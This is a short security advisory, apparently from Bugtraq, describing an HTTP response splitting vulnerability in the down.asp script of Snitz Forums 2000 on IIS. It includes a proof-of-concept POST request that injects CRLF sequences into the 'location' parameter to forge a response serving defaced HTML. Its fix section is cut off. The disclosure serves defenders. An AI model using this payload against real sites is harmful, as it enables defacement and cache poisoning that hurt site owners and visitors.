BID:11201

Snitz Forums Down.ASP HTTP Response Splitting Vulnerability

Info

Snitz Forums Down.ASP HTTP Response Splitting Vulnerability

Bugtraq ID:	11201
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 16 2004 12:00AM
Updated:	Sep 16 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to "Maestro De-Seguridad" <[email protected]>.
Vulnerable:	Snitz Forums 2000 Snitz Forums 2000 3.4 .04 Snitz Forums 2000 Snitz Forums 2000 3.4 .03 Snitz Forums 2000 Snitz Forums 2000 3.4 .02 Snitz Forums 2000 Snitz Forums 2000 3.3 .03 - Microsoft IIS 5.1 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Snitz Forums 2000 Snitz Forums 2000 3.3 .02 - Microsoft IIS 5.1 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Snitz Forums 2000 Snitz Forums 2000 3.3 .01 - Microsoft IIS 5.1 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Snitz Forums 2000 Snitz Forums 2000 3.3 - Microsoft IIS 5.1 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Snitz Forums 2000 Snitz Forums 2000 3.1 - Microsoft IIS 5.1 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Snitz Forums 2000 Snitz Forums 2000 3.0 - Microsoft IIS 5.1 - Microsoft IIS 5.0 - Microsoft IIS 4.0

Not Vulnerable:

Discussion

Snitz Forums Down.ASP HTTP Response Splitting Vulnerability

Snitz Forums is reported prone to a HTTP response splitting vulnerability. The issue exists in a parameter of the 'down.asp' script. The issue presents itself due to a flaw in the affected script that allows an attacker to
manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

Exploit / POC

Snitz Forums Down.ASP HTTP Response Splitting Vulnerability

The following proof of concept is available:

POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134

location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}defaced{/html}

(replace curly braces with less than and greater than symbols)

Solution / Fix

Snitz Forums Down.ASP HTTP Response Splitting Vulnerability

Solution:
The vendor has released an updated to address this vulnerability:

Snitz Forums 2000 Snitz Forums 2000 3.0